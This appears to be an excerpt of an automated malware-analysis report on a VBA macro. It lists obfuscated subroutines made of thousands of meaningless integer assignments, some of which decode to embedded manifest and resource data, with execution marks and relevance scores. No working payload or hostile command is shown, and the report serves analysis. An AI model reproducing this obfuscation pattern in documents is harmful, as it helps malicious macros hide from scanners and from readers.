741	Y = 13694
742	Y = 304550666
743	Y = 3505703
744	Y = 672336384
745	Y = - 1944705006
746	Y = 16777259
747	Y = 689056019
748	Y = 13694
749	Y = 304747274
750	Y = 3505706
751	Y = 722668032
752	Y = - 1944638702
753	Y = 16777259
754	Y = 739388435
755	Y = 13694
756	Y = 304943882
757	Y = 4943661
758	Y = 504433152
759	Y = 19496
760	Y = 85134602
761	Y = 393152770
762	Y = 285605888
763	Y = 5074693
764	Y = 1075186176
765	Y = 398
766	Y = 319358225
767	Y = 523047469
768	Y = 2657293
769	Y = 739442944
770	Y = 897461266
771	Y = 319422464
772	Y = 2116751915
773	Y = 167772213
774	Y = 705833491
775	Y = 2853910
776	Y = 689111296
777	Y = 897460498
778	Y = 319422464
779	Y = 2116555304
780	Y = 167772213
781	Y = 655501075
782	Y = 13694
783	Y = 304485130
784	Y = 3505702
785	Y = 622004736
786	Y = 897459474
787	Y = 319422464
788	Y = 2116293156
789	Y = 167772213
790	Y = 588391187
791	Y = 13694
792	Y = 304222986
793	Y = 3505698
794	Y = 554895872
795	Y = 897458450
796	Y = 319422464
797	Y = 2116031008
798	Y = 167772213
799	Y = 521281299
800	Y = 13694
801	Y = 303960842
802	Y = 3505694
803	Y = 772999680
804	Y = 1315909138
805	Y = 285868032
806	Y = 4991021
807	Y = 34408960
808	Y = 1535753
809	Y = 85001728
810	Y = 20335
811	Y = 5271306
812	Y = - 1944647168
813	Y = 16777256
814	Y = 20847
815	Y = 285807370
816	Y = 5402377
817	Y = 135465472
818	Y = 1862404113
819	Y = 100663320
820	Y = 21359
821	Y = 1862603018
822	Y = 167772244
823	Y = 672597769
824	Y = 167772234
825	Y = 4092679
826	Y = 302647808
827	Y = 68293892
828	Y = 21800
829	Y = 678189578
830	Y = 167772246
831	Y = 68289555
832	Y = 671355413
833	Y = 167772247
834	Y = 1479044186
835	Y = 319422464
836	Y = 352588292
837	Y = 1495794706
838	Y = 1510604800
839	Y = 5908588
840	Y = 68356608
841	Y = 303367186
842	Y = 5974020
843	Y = 1817840128
844	Y = 23592
845	Y = 100930314
846	Y = 1567556625
847	Y = 101318656
848	Y = 1584334353
849	Y = 101318656
850	Y = 1601111825
851	Y = - 569769984
852	Y = 36185374
853	Y = 319422464
854	Y = 206858
855	Y = 266209792
856	Y = 141349
857	Y = 185797120
858	Y = 808
859	Y = 151051786
860	Y = 24616
861	Y = 621796874
862	Y = 552
863	Y = 671879946
864	Y = 167772163
865	Y = 85000414
866	Y = 2853910
867	Y = 772997376
868	Y = 897461778
869	Y = 319422464
870	Y = 2116882989
871	Y = 167772213
872	Y = 739388435
873	Y = 24943
874	Y = 621796874
875	Y = 552
876	Y = 671945482
877	Y = 167772163
878	Y = 151126238
879	Y = 5999
880	Y = 621796870
881	Y = 552
882	Y = 672011018
883	Y = 167772163
884	Y = 33685726
885	Y = 4475
886	Y = 2102925060
887	Y = 67108881
888	Y = 91704
889	Y = 2098463232
890	Y = 67108880
891	Y = 293410306
892	Y = 939786240
893	Y = 339
894	Y = 13171
895	Y = 672076554
896	Y = 167772198
897	Y = 320221203
898	Y = 293022511
899	Y = - 1708191440
900	Y = 286331155
901	Y = 10095
902	End Sub

Subroutine
CheckHash6APIs: 0, Strings: 0, Number of lines: 856, Relevance: 0.856

Line	Instruction	Meta Information
6059	Private Sub CheckHash6()
6060	Y = 76649107	executed
6061	Y = 226920584
6062	Y = 226525570
6063	Y = 711025250
6064	Y = - 1280989274
6065	Y = - 920589
6066	Y = - 1381140
6067	Y = - 2762534
6068	Y = - 2959913
6069	Y = - 2039069
6070	Y = - 1446932
6071	Y = - 1249553
6072	Y = - 1578518
6073	Y = - 2565155
6074	Y = - 3288621
6075	Y = - 2828326
6076	Y = - 2170397
6077	Y = - 3749685
6078	Y = - 8091507
6079	Y = - 412192136
6080	Y = - 1890956467
6081	Y = 2103863144
6082	Y = 1831743281
6083	Y = 1916221756
6084	Y = 641548097
6085	For I = 1 To 10
6086	Y = 0
6087	Next
6088	Y = 860638284
6089	Y = - 775041073
6090	Y = - 789003
6091	Y = - 854797
6092	Y = - 1183761
6093	Y = - 1381139
6094	Y = - 2433313
6095	Y = - 3025706
6096	Y = - 3223341
6097	Y = - 2960169
6098	Y = - 2367777
6099	Y = - 1775896
6100	Y = - 1710103
6101	Y = - 1841689
6102	Y = - 3881271
6103	Y = - 7762285
6104	Y = - 595951739
6105	Y = 1108941339
6106	Y = 26317718
6107	Y = 0
6108	Y = 25002115
6109	For I = 1 To 11
6110	Y = 0
6111	Next
6112	Y = 1298227553
6113	Y = - 454760731
6114	Y = - 657418
6115	Y = - 1117969
6116	Y = - 5460304
6117	Y = - 21777226
6118	Y = - 68621590
6119	Y = - 1117968
6120	Y = - 1249297
6121	Y = - 2039069
6122	Y = - 4078651
6123	Y = - 20526902
6124	Y = - 1644054
6125	Y = - 1710103
6126	Y = - 2696997
6127	Y = - 5986389
6128	Y = - 173692755
6129	Y = 1781542962
6130	For I = 1 To 14
6131	Y = 0
6132	Next
6133	Y = 374559828
6134	Y = 1870495101
6135	Y = - 757803564
6136	Y = - 1047753331
6137	Y = - 678194024
6138	Y = - 1520607648
6139	Y = - 775501625
6140	Y = - 986382
6141	Y = - 1052175
6142	Y = - 4671045
6143	Y = - 5986646
6144	Y = - 797871499
6145	Y = - 641415481
6146	Y = - 35198742
6147	Y = - 69740069
6148	Y = - 21908554
6149	Y = - 274158930
6150	Y = 1901154900
6151	Y = 26251925
6152	For I = 1 To 13
6153	Y = 0
6154	Next
6155	Y = 26580631
6156	Y = 226196605
6157	Y = 827347280
6158	Y = 657403695
6159	Y = 924918050
6160	Y = 723591714
6161	Y = - 1414615121
6162	Y = - 854796
6163	Y = - 920590
6164	Y = - 4868167
6165	Y = - 4670787
6166	Y = - 1873916080
6167	Y = 1516331618
6168	Y = - 1498501200
6169	Y = - 1839045788
6170	Y = - 1233223807
6171	Y = 1680813872
6172	Y = 457787979
6173	For I = 1 To 19
6174	Y = 0
6175	Next
6176	Y = 28423092
6177	Y = 1213617750
6178	Y = - 1347637587
6179	Y = - 1079662938
6180	Y = - 1082360450
6181	Y = - 1267238789
6182	Y = 1227039780
6183	Y = 76583315
6184	Y = 173364822
6185	Y = 121519936
6186	Y = 170864432
6187	Y = 42568589
6188	For I = 1 To 21
6189	Y = 0
6190	Next
6191	Y = 126125446
6192	Y = 293766020
6193	Y = 394100607
6194	Y = 376862584
6195	Y = 292647539
6196	Y = 108032371
6197	For I = 1 To 78
6198	Y = 0
6199	Next
6200	Y = - 15663873
6201	Y = 1728102655
6202	Y = 16777471
6203	For I = 1 To 4
6204	Y = 252
6205	Next
6206	Y = 50331872
6207	For I = 1 To 3
6208	Y = 117440704
6209	Next
6210	Y = 264241344
6211	Y = 62918592
6212	For I = 1 To 2
6213	Y = 65019776
6214	Next
6215	Y = 66068352
6216	For I = 1 To 2
6217	Y = 65019776
6218	Next
6219	Y = 264245216
6220	Y = 264243136
6221	Y = 117441472
6222	For I = 1 To 2
6223	Y = 117440704
6224	Next
6225	Y = 251658464
6226	Y = 1593835772
6227	Y = - 16776964
6228	Y = 2130706684
6229	Y = - 16776964
6230	Y = - 16654081
6231	Y = - 12586753
6232	For I = 1 To 2
6233	Y = - 1
6234	Next
6235	Y = 40
6236	Y = 16
6237	Y = 32
6238	Y = 2097153
6239	Y = 0
6240	Y = 1088
6241	For I = 1 To 9
6242	Y = 0
6243	Next
6244	Y = 42437005
6245	Y = 241592170
6246	Y = 810175309
6247	Y = 742803016
6248	Y = 123098970
6249	Y = 406929987
6250	Y = 440155454
6251	Y = 38357837
6252	For I = 1 To 6
6253	Y = 0
6254	Next
6255	Y = 109150854
6256	Y = 777673565
6257	Y = 1865363248
6258	Y = - 644376417
6259	Y = - 24211306
6260	Y = - 466077381
6261	Y = - 1604756899
6262	Y = - 1153285306
6263	Y = - 1792003790
6264	Y = 842084657
6265	Y = 607137840
6266	Y = 523251760
6267	Y = 54542659
6268	For I = 1 To 3
6269	Y = 0
6270	Next
6271	Y = - 2105901954
6272	Y = - 37961788
6273	Y = - 76319366
6274	Y = - 38093372
6275	Y = - 4999747
6276	Y = - 75398006
6277	Y = - 21447741
6278	Y = - 7697003
6279	Y = - 1103413434
6280	Y = 825241648
6281	Y = 959525169
6282	Y = 724644145
6283	Y = 121519937
6284	Y = 0
6285	Y = 42963348
6286	Y = 225604469
6287	Y = 1987080563
6288	Y = - 3420461
6289	Y = - 4144183
6290	Y = - 4209720
6291	Y = - 4407356
6292	Y = - 5394249
6293	Y = - 6051921
6294	Y = - 9604999
6295	Y = - 1305792972
6296	Y = 1632522323
6297	Y = 1159470367
6298	Y = 105598030
6299	Y = 22040917
6300	Y = 0
6301	Y = 1300135809
6302	Y = - 322714167
6303	Y = - 37764666
6304	Y = - 3815219
6305	Y = - 4867907
6306	Y = - 915772305
6307	Y = - 1974513583
6308	Y = - 1315530855
6309	Y = - 36974894
6310	Y = - 6446935
6311	Y = - 4407353
6312	Y = - 5591627
6313	Y = - 393638768
6314	Y = 155074369
6315	For I = 1 To 2
6316	Y = 0
6317	Next
6318	Y = 931694987
6319	Y = - 322122031
6320	Y = - 3420462
6321	Y = - 4670529
6322	Y = - 1570280593
6323	Y = 141389681
6324	Y = 141784183
6325	Y = 91321206
6326	Y = - 2036753764
6327	Y = - 4407356
6328	Y = - 5262662
6329	Y = - 25132408
6330	Y = 1664760637
6331	Y = 23949171
6332	Y = 0
6333	Y = 28159922
6334	Y = 679115901
6335	Y = - 709248067
6336	Y = - 3881013
6337	Y = - 111517850
6338	Y = 442590054
6339	For I = 1 To 3
6340	Y = 0
6341	Next
6342	Y = 259619710
6343	Y = - 236788763
6344	Y = - 6117715
6345	Y = - 10986653
6346	Y = 2033135667
6347	Y = 558451535
6348	Y = 0
6349	Y = 310806408
6350	Y = - 68818711
6351	Y = - 1775896
6352	Y = - 4078393
6353	Y = - 647270283
6354	Y = 90663018
6355	For I = 1 To 4
6356	Y = 0
6357	Next
6358	Y = - 942813747
6359	Y = - 6249301
6360	Y = - 3749425
6361	Y = - 5459787
6362	Y = - 1117624983
6363	Y = 0
6364	Y = 111059105
6365	Y = 2039320207
6366	Y = - 338307112
6367	Y = - 3749428
6368	Y = - 292580199
6369	Y = 208301165
6370	For I = 1 To 3
6371	Y = 0
6372	Next
6373	Y = 93097617
6374	Y = - 539173410
6375	Y = - 5657421
6376	Y = - 6117717
6377	Y = - 1033080974
6378	Y = 1614626626
6379	For I = 1 To 2
6380	Y = 0
6381	Next
6382	Y = 311727510
6383	Y = - 691681337
6384	Y = - 2565155
6385	Y = - 7170148
6386	Y = 1732396360
6387	For I = 1 To 3
6388	Y = 0
6389	Next
6390	Y = 1267568272
6391	Y = - 19276835
6392	Y = - 4473149
6393	Y = - 28288672
6394	Y = 892614200
6395	For I = 1 To 3
6396	Y = 0
6397	Next
6398	Y = 1722066341
6399	Y = - 920590
6400	Y = - 1578518
6401	Y = - 2894120
6402	Y = - 159481209
6403	Y = 1934183246
6404	Y = 528384130
6405	Y = 1467907968
6406	Y = - 388572967
6407	Y = - 3881012
6408	Y = - 2696996
6409	Y = - 4802115
6410	Y = - 564239511
6411	Y = 156522073
6412	For I = 1 To 2
6413	Y = 0
6414	Next
6415	Y = 228104858
6416	Y = 1350796420
6417	Y = - 1584492400
6418	Y = - 1710104
6419	Y = - 2301984
6420	Y = - 2762791
6421	Y = - 53160233
6422	Y = - 2170398
6423	Y = - 2828326
6424	Y = - 4670530
6425	Y = - 611545197
6426	Y = - 1233486721
6427	Y = - 2075373997
6428	Y = 25857424
6429	For I = 1 To 4
6430	Y = 0
6431	Next
6432	Y = - 1919444840
6433	Y = - 854797
6434	Y = - 20066352
6435	Y = - 18816029
6436	Y = - 2368033
6437	Y = - 19803179
6438	Y = - 1775640
6439	Y = - 5131080
6440	Y = - 1621468065
6441	For I = 1 To 7
6442	Y = 0
6443	Next
6444	Y = 612204159
6445	Y = 2054649976
6446	Y = 2001489231
6447	Y = - 556410921
6448	Y = - 2894379
6449	Y = - 679049077
6450	Y = - 1246842960
6451	Y = - 795173987
6452	Y = 2002541919
6453	For I = 1 To 10
6454	Y = 0
6455	Next
6456	Y = 1133350543
6457	Y = 1787135622
6458	Y = 1164799600
6459	Y = 60003478
6460	Y = 75925641
6461	For I = 1 To 21
6462	Y = 0
6463	Next
6464	Y = 2040
6465	For I = 1 To 2
6466	Y = 224
6467	Next
6468	Y = 128
6469	For I = 1 To 2
6470	Y = 384
6471	Next
6472	Y = 33027
6473	Y = 49411
6474	Y = 33027
6475	Y = 33667
6476	For I = 1 To 2
6477	Y = 384
6478	Next
6479	For I = 1 To 2
6480	Y = 4064
6481	Next
6482	Y = 8188
6483	Y = 65535
6484	Y = 65536
6485	Y = 808452099
6486	Y = 65536
6487	Y = 631767072
6488	Y = 131072
6489	Y = 8224
6490	Y = 2097153
6491	Y = 4264
6492	Y = 269484035
6493	Y = 65536
6494	Y = 73924640
6495	Y = 262144
6496	Y = 1019198447
6497	Y = 1819113535
6498	Y = 1919252000
6499	Y = 1852795251
6500	Y = 774971965
6501	Y = 1696604720
6502	Y = 1685021550
6503	Y = 1030188649
6504	Y = 1718908194
6505	Y = 1059207213
6506	Y = 1007291710
6507	Y = 1986884449
6508	Y = 1935751729
6509	Y = 1651336563
6510	Y = 1830844780
6511	Y = 1718185569
6512	Y = 1450472293
6513	Y = 1769173605
6514	Y = 574451311
6515	Y = 573582897
6516	Y = 1819113504
6517	Y = 574452590
6518	Y = 980316789
6519	Y = 1701340019
6520	Y = 762536301
6521	Y = 1919117677
6522	Y = 1718580079
6523	Y = 1868770676
6524	Y = 1935751789
6525	Y = 829828717
6526	Y = 1836589090
6527	Y = 980643436
6528	Y = 1986884449
6529	Y = 1965178161
6530	Y = 1933209202
6531	Y = 1835362403
6532	Y = 1831695201
6533	Y = 1869767529
6534	Y = 1952870259
6535	Y = 1836016429
6536	Y = 1836278074
6537	Y = 573666862
6538	Y = 1819113504
6539	Y = 1631220590
6540	Y = 846622067
6541	Y = 1920279101
6542	Y = 1668495982
6543	Y = 1634559336
6544	Y = 1768762739
6545	Y = 1936683619
6546	Y = 762603119
6547	Y = 980250467
6548	Y = 778924897
6549	Y = 539112054
6550	Y = 1852599672
6551	Y = 1937259123
6552	Y = 1747074409
6553	Y = 980448372
6554	Y = 2004299567
6555	Y = 863448695
6556	Y = 1735552814
6557	Y = 808464943
6558	Y = 1297624881
6559	Y = 1751339852
6560	Y = 761359717
6561	Y = 1953721961
6562	Y = 1701015137
6563	Y = 168640034
6564	Y = 1631330336
6565	Y = 1835365235
6566	Y = 1232694370
6567	Y = 1953391972
6568	Y = 544830569
6569	Y = 1936876918
6570	Y = 1030647657
6571	Y = 808333602
6572	Y = 808333358
6573	Y = 1634607138
6574	Y = 574449005
6575	Y = 1883339085
6576	Y = 1667853424
6577	Y = 1869182049
6578	Y = 1885417070
6579	Y = 1043276400
6580	Y = 538970637
6581	Y = 1970435132
6582	Y = 1850307699
6583	Y = 2015391590
6584	Y = 1936616557
6585	Y = 1920279101
6586	Y = 1668495982
6587	Y = 1634559336
6588	Y = 1768762739
6589	Y = 1936683619
6590	Y = 762603119
6591	Y = 980250467
6592	Y = 778924897
6593	Y = 1042428534
6594	Y = 538970637
6595	Y = 1933320224
6596	Y = 1920295781
6597	Y = 1048147049
6598	Y = 538970637
6599	Y = 538976288
6600	Y = 1902473788
6601	Y = 1953719669
6602	Y = 1917871205
6603	Y = 1818850921
6604	Y = 1936025445
6605	Y = 1819113504
6606	Y = 574452590
6607	Y = 980316789
6608	Y = 1701340019
6609	Y = 762536301
6610	Y = 1919117677
6611	Y = 1718580079
6612	Y = 1868770676
6613	Y = 1935751789
6614	Y = 863383149
6615	Y = 168640034
6616	For I = 1 To 2
6617	Y = 538976288
6618	Next
6619	Y = 757932348
6620	Y = - 794832864
6621	Y = - 796864080
6622	Y = - 792932176
6623	Y = - 779955787
6624	Y = 546034048
6625	Y = - 1328497456
6626	Y = - 1194279472
6627	Y = - 1244625711
6628	Y = - 2100198959
6629	Y = 1428205776
6630	Y = 168641345
6631	For I = 1 To 2
6632	Y = 538976288
6633	Next
6634	Y = - 1613750240
6635	Y = - 1194295087
6636	Y = - 792866784
6637	Y = - 792801099
6638	Y = - 796536399
6639	Y = - 793456450
6640	Y = - 792932168
6641	Y = - 780021314
6642	Y = 548982914
6643	Y = - 1211057968
6644	Y = - 1244611376
6645	Y = - 1194279472
6646	Y = - 1932426543
6647	Y = - 779890400
6648	Y = - 792801152
6649	Y = - 793390926
6650	Y = 546099645
6651	Y = - 1076853807
6652	Y = - 1328512815
6653	Y = - 1143950640
6654	Y = - 1110395440
6655	Y = - 1882081072
6656	Y = - 779890400
6657	Y = - 776613753
6658	Y = - 776089470
6659	Y = - 792932213
6660	Y = - 1211096904
6661	Y = - 1076842288
6662	Y = - 2116962096
6663	Y = - 1127182383
6664	Y = 1461762256
6665	Y = 1868852841
6666	Y = - 803179657
6667	Y = - 793718601
6668	Y = - 793390916
6669	Y = - 776417091
6670	Y = 548786306
6671	Y = 538970637
6672	For I = 1 To 2
6673	Y = 538976288
6674	Next
6675	Y = - 1211071535
6676	Y = - 1143949872
6677	Y = 1902473760
6678	Y = 1953719669
6679	Y = 2017813605
6680	Y = 1953850213
6681	Y = 1282305897
6682	Y = 1818588773
6683	Y = - 792801248
6684	Y = - 792866636
6685	Y = 549245112
6686	Y = - 1211057968
6687	Y = - 796798688
6688	Y = - 793390917
6689	Y = - 779890252
6690	Y = - 796274290
6691	Y = 545640888
6692	Y = - 1110394928
6693	Y = - 2016300848
6694	Y = - 1110395440
6695	Y = - 1177503536
6696	Y = 218762542
6697	Y = 538976266
6698	Y = 538976288
6699	Y = 1701985312
6700	Y = 1936029041
6701	Y = 1164207476
6702	Y = 1969448312
6703	Y = 1852795252
6704	Y = 1702257996
6705	Y = 1814044780
6706	Y = 1818588773
6707	Y = 1935745597
6708	Y = 1870032457
6709	Y = 577922411
6710	Y = 1097430304
6711	Y = 1936024419
6712	Y = 1713519987
6713	Y = 1702063201
6714	Y = 1043275810
6715	Y = 538970637
6716	Y = 538976288
6717	Y = 1916543008
6718	Y = 1702195557
6719	Y = 1684370547
6720	Y = 1667594309
6721	Y = 1869182069
6722	Y = 1986350190
6723	Y = 538995813
6724	Y = 1702258028
6725	Y = 1914846572
6726	Y = 1769304421
6727	Y = 1682007410
6728	Y = 1768843629
6729	Y = 1634890867
6730	Y = 577924980
6731	Y = 1097430304
6732	Y = 1936024419
6733	Y = 1713519987
6734	Y = 1702063201
6735	Y = 1043275810
6736	Y = 538970637
6737	Y = 538976288
6738	Y = 1916543008
6739	Y = 1702195557
6740	Y = 1684370547
6741	Y = 1667594309
6742	Y = 1869182069
6743	Y = 1986350190
6744	Y = 538995813
6745	Y = 1702258028
6746	Y = 1747074412
6747	Y = 1701341033
6748	Y = 1984001139
6749	Y = 1634494817
6750	Y = 577072226
6751	Y = 1097430304
6752	Y = 1936024419
6753	Y = 1713519987
6754	Y = 1702063201
6755	Y = 1043275810
6756	Y = 168626701
6757	For I = 1 To 3
6758	Y = 538976288
6759	Next
6760	Y = - 2133745712
6761	Y = - 786384688
6762	Y = - 793063293
6763	Y = - 793259856
6764	Y = - 792866640
6765	Y = 548982968
6766	Y = - 1211071535
6767	Y = - 1328497712
6768	Y = 1902473760
6769	Y = 1953719669
6770	Y = 2017813605
6771	Y = 1953850213
6772	Y = 1282305897
6773	Y = 1818588773
6774	Y = - 793587680
6775	Y = - 780086856
6776	Y = - 796667518
6777	Y = - 792997712
6778	Y = - 793259848
6779	Y = - 796470864
6780	Y = 546296248
6781	Y = - 1328511791
6782	Y = - 1143948848
6783	Y = - 1294942512
6784	Y = 548982816
6785	Y = - 1244626735
6786	Y = - 2116962864
6787	Y = - 2133753135
6788	Y = - 803163952
6789	Y = - 796667471
6790	Y = - 776613708
6791	Y = - 1093656446
6792	Y = - 1160740143
6793	Y = - 1898857520
6794	Y = - 1244624943
6795	Y = - 1328497200
6796	Y = 537529646
6797	For I = 1 To 2
6798	Y = 538976288
6799	Next
6800	Y = - 803200992
6801	Y = - 796798571
6802	Y = 548982971
6803	Y = - 1949191472
6804	Y = - 796536544
6805	Y = - 796732994
6806	Y = - 796733000
6807	Y = - 1194319691
6808	Y = - 1076854319
6809	Y = - 1143947568
6810	Y = - 1211069231
6811	Y = - 1294942512
6812	Y = - 2100186928
6813	Y = - 803173167
6814	Y = - 776417102
6815	Y = - 779955840
6816	Y = - 793718653
6817	Y = - 793194309
6818	Y = - 776941385
6819	Y = - 776417146
6820	Y = - 2066669426
6821	Y = - 1177505584
6822	Y = - 1093616688
6823	Y = - 803163440
6824	Y = - 2133778248
6825	Y = - 1244613168
6826	Y = - 2100198959
6827	Y = - 1328512815
6828	Y = - 793456608
6829	Y = 546296251
6830	Y = - 1311719728
6831	Y = - 1328512815
6832	Y = - 1110408495
6833	Y = - 1177502000
6834	Y = 537529632
6835	For I = 1 To 2
6836	Y = 538976288
6837	Next
6838	Y = - 786423776
6839	Y = - 792801151
6840	Y = - 792932174
6841	Y = - 780021323
6842	Y = - 793194366
6843	Y = - 776023876
6844	Y = - 796733055
6845	Y = - 786420552
6846	Y = - 793456509
6847	Y = - 792997712
6848	Y = - 796733000
6849	Y = - 2083446603
6850	Y = - 1244612656
6851	Y = 1914747856
6852	Y = 1702195557
6853	Y = 1684370547
6854	Y = 1667594309
6855	Y = 1869182069
6856	Y = 1986350190
6857	Y = 221146213
6858	Y = 538976266
6859	Y = 538976288
6860	Y = 1043148064
6861	Y = 538970637
6862	Y = 538976288
6863	Y = 1916543008
6864	Y = 1702195557
6865	Y = 1684370547
6866	Y = 1667594309
6867	Y = 1869182069
6868	Y = 1986350190
6869	Y = 1814064229
6870	Y = 1818588773
6871	Y = 1935745597
6872	Y = 1870032457
6873	Y = 577922411
6874	Y = 1097430304
6875	Y = 1936024419
6876	Y = 1713519987
6877	Y = 1702063201
6878	Y = 1043275810
6879	Y = 538970637
6880	Y = 538976288
6881	Y = 1701982012
6882	Y = 1936029041
6883	Y = 1348756852
6884	Y = 1769367922
6885	Y = 1701274988
6886	Y = 168640115
6887	Y = 538976288
6888	Y = 1702047548
6889	Y = 1769108835
6890	Y = 222198132
6891	Y = 1008738314
6892	Y = 1970435119
6893	Y = 1850307699
6894	Y = 222195558
6895	Y = 537529610
6896	Y = 1868774432
6897	Y = 1952542829
6898	Y = 1818845801
6899	Y = 544830569
6900	Y = 1852599672
6901	Y = 1965178227
6902	Y = 1933209202
6903	Y = 1835362403
6904	Y = 1831695201
6905	Y = 1869767529
6906	Y = 1952870259
6907	Y = 1836016429
6908	Y = 1836016442
6909	Y = 1769234800
6910	Y = 1768712546
6911	Y = 1982757236
6912	Y = 222175793
6913	Y = 538976266
6914	End Sub

Subroutine
CheckHash3APIs: 0, Strings: 0, Number of lines: 841, Relevance: 0.841

Line	Instruction	Meta Information
3754	Private Sub CheckHash3()
3755	Y = 36778289	executed
3756	Y = 137441585
3757	Y = 305213745
3758	Y = 422654257
3759	Y = 405877041
3760	Y = 305213745
3761	Y = 171061810
3762	Y = 53621298
3763	For I = 1 To 25
3764	Y = 0
3765	Next
3766	Y = 20066866
3767	Y = 70332721
3768	Y = 137441585
3769	Y = 154218801
3770	Y = 305279538
3771	Y = 724709938
3772	Y = 1110585906
3773	Y = 1546464557
3774	Y = 2083006504
3775	Y = - 1910168283
3776	Y = - 1943788508
3777	Y = 1898259749
3778	Y = 1076505130
3779	Y = 472985905
3780	Y = 254882097
3781	Y = 271659313
3782	Y = 556871985
3783	Y = 1009856817
3784	Y = 1295069489
3785	Y = 1261515057
3786	Y = 1043411249
3787	Y = 691089713
3788	Y = 271659313
3789	Y = 53555505
3790	For I = 1 To 2
3791	Y = 0
3792	Next
3793	Y = 20001073
3794	For I = 1 To 2
3795	Y = 36778289
3796	Next
3797	Y = 20001073
3798	For I = 1 To 17
3799	Y = 0
3800	Next
3801	Y = 20066866
3802	Y = 137507378
3803	Y = 439431473
3804	Y = 758198577
3805	Y = 875639089
3806	Y = 1362244146
3807	Y = - 844979029
3808	Y = - 4407352
3809	Y = - 4473145
3810	Y = - 57634152
3811	Y = - 12566461
3812	Y = - 12565948
3813	Y = - 214089919
3814	Y = - 1926616534
3815	Y = 1429287217
3816	Y = 1211183409
3817	Y = 1227960625
3818	Y = 1479553072
3819	Y = 2049781037
3820	Y = - 1943130578
3821	Y = - 2043662288
3822	Y = 1982935345
3823	Y = 1462841649
3824	Y = 724644145
3825	Y = 254882097
3826	For I = 1 To 2
3827	Y = 103887153
3828	Next
3829	Y = 154218801
3830	Y = 221327665
3831	Y = 238104881
3832	Y = 170996017
3833	Y = 87175730
3834	Y = 36844082
3835	For I = 1 To 13
3836	Y = 0
3837	Next
3838	Y = 53621298
3839	Y = 221393458
3840	Y = 305279538
3841	Y = 489434156
3842	Y = 1193945642
3843	Y = 1949117741
3844	Y = - 2026885072
3845	Y = - 1319676071
3846	Y = - 4210230
3847	Y = - 4275767
3848	Y = - 4341560
3849	Y = - 4407353
3850	Y = - 12895171
3851	Y = - 12829376
3852	Y = - 12631998
3853	Y = - 1121244373
3854	Y = - 1708052175
3855	Y = - 1303030183
3856	Y = - 1083939480
3857	Y = - 1439814098
3858	Y = - 902680012
3859	Y = - 701156041
3860	Y = - 1372968406
3861	Y = - 1792135634
3862	Y = 1966092336
3863	Y = 1261515057
3864	Y = 741421361
3865	Y = 523317553
3866	Y = 506540337
3867	Y = 573649201
3868	For I = 1 To 2
3869	Y = 691089713
3870	Next
3871	Y = 556871985
3872	Y = 338833970
3873	Y = 154284594
3874	Y = 36844082
3875	For I = 1 To 11
3876	Y = 0
3877	Next
3878	Y = 204616242
3879	Y = 791818802
3880	Y = 1903194483
3881	Y = - 1954512251
3882	Y = 1646206751
3883	Y = - 1489948107
3884	Y = - 885639366
3885	Y = - 1104203985
3886	Y = - 512856206
3887	Y = - 4144181
3888	Y = - 4209974
3889	Y = - 4275767
3890	Y = - 4341559
3891	Y = - 11776688
3892	Y = - 12631739
3893	Y = - 12368567
3894	Y = - 852545744
3895	Y = - 1085781942
3896	Y = - 139677768
3897	Y = - 4802110
3898	Y = - 140598872
3899	Y = - 27895716
3900	Y = - 11973808
3901	Y = - 112834226
3902	Y = - 1070583501
3903	Y = - 2127877333
3904	Y = 1630548016
3905	Y = 1311846705
3906	Y = 1144074545
3907	Y = 1093742897
3908	Y = 1127231536
3909	Y = 1177628977
3910	Y = 1127297329
3911	Y = 959525169
3912	Y = 657535281
3913	Y = 305213745
3914	Y = 87109937
3915	For I = 1 To 10
3916	Y = 0
3917	Next
3918	Y = 204616242
3919	Y = 1196182862
3920	Y = - 1096439893
3921	Y = - 3552046
3922	Y = - 3617839
3923	Y = - 245341336
3924	Y = - 11315361
3925	Y = - 11775914
3926	Y = - 483249357
3927	Y = - 242841717
3928	Y = - 4078388
3929	Y = - 4144181
3930	Y = - 4144437
3931	Y = - 4210230
3932	Y = - 10131861
3933	Y = - 12171186
3934	Y = - 11776427
3935	Y = - 482657217
3936	Y = - 139480647
3937	Y = - 4604732
3938	Y = - 4670525
3939	Y = - 4736318
3940	Y = - 4802110
3941	Y = - 10854811
3942	Y = - 11117724
3943	Y = - 11117981
3944	Y = - 1976750544
3945	Y = 1445932847
3946	Y = 1362178353
3947	Y = 1328623921
3948	Y = 1311846705
3949	Y = 1295069489
3950	Y = 1278292273
3951	Y = 1177628977
3952	Y = 1009856817
3953	Y = 691089713
3954	Y = 321990961
3955	Y = 87109937
3956	For I = 1 To 10
3957	Y = 0
3958	Next
3959	Y = 489828914
3960	Y = - 1146179660
3961	Y = - 3354924
3962	Y = - 3420717
3963	Y = - 3486510
3964	Y = - 4538941
3965	Y = - 11250085
3966	Y = - 12105394
3967	Y = - 27369628
3968	Y = - 38488131
3969	Y = - 3946546
3970	Y = - 4012595
3971	Y = - 4078388
3972	Y = - 4144181
3973	Y = - 5920594
3974	Y = - 7697005
3975	Y = - 10065552
3976	Y = - 23421788
3977	Y = - 4473145
3978	Y = - 4538939
3979	Y = - 4604732
3980	Y = - 4670525
3981	Y = - 6710364
3982	Y = - 11117724
3983	Y = - 10459791
3984	Y = - 263038878
3985	Y = 1377113365
3986	Y = 758066991
3987	Y = 825307441
3988	Y = 925970737
3989	Y = 1009856817
3990	Y = 1043411249
3991	Y = 1026634033
3992	Y = 942747953
3993	Y = 791753009
3994	Y = 540094769
3995	Y = 254882097
3996	Y = 87109937
3997	Y = 36778289
3998	For I = 1 To 9
3999	Y = 0
4000	Next
4001	Y = 456274482
4002	Y = - 1786214004
4003	Y = - 3288875
4004	Y = - 3354668
4005	Y = - 3420460
4006	Y = - 3486253
4007	Y = - 4670528
4008	Y = - 3617839
4009	Y = - 3683632
4010	Y = - 3814961
4011	Y = - 3880753
4012	Y = - 3946546
4013	Y = - 4012595
4014	Y = - 4078388
4015	Y = - 4144181
4016	Y = - 4209974
4017	Y = - 4275766
4018	Y = - 4276023
4019	Y = - 4341816
4020	Y = - 4407609
4021	For I = 1 To 2
4022	Y = - 4538939
4023	Next
4024	Y = - 9210242
4025	Y = - 12433582
4026	Y = - 12301737
4027	Y = - 902810562
4028	Y = 671746570
4029	Y = 204550449
4030	Y = 288436529
4031	Y = 389099825
4032	Y = 489763121
4033	Y = 607203633
4034	Y = 657535281
4035	Y = 623980849
4036	Y = 523317553
4037	Y = 372322609
4038	Y = 221327665
4039	Y = 103887153
4040	Y = 53555505
4041	For I = 1 To 9
4042	Y = 0
4043	Next
4044	Y = 204616242
4045	Y = 1785096041
4046	Y = - 3157546
4047	Y = - 3223339
4048	Y = - 3289131
4049	Y = - 3354924
4050	Y = - 3420717
4051	Y = - 3486510
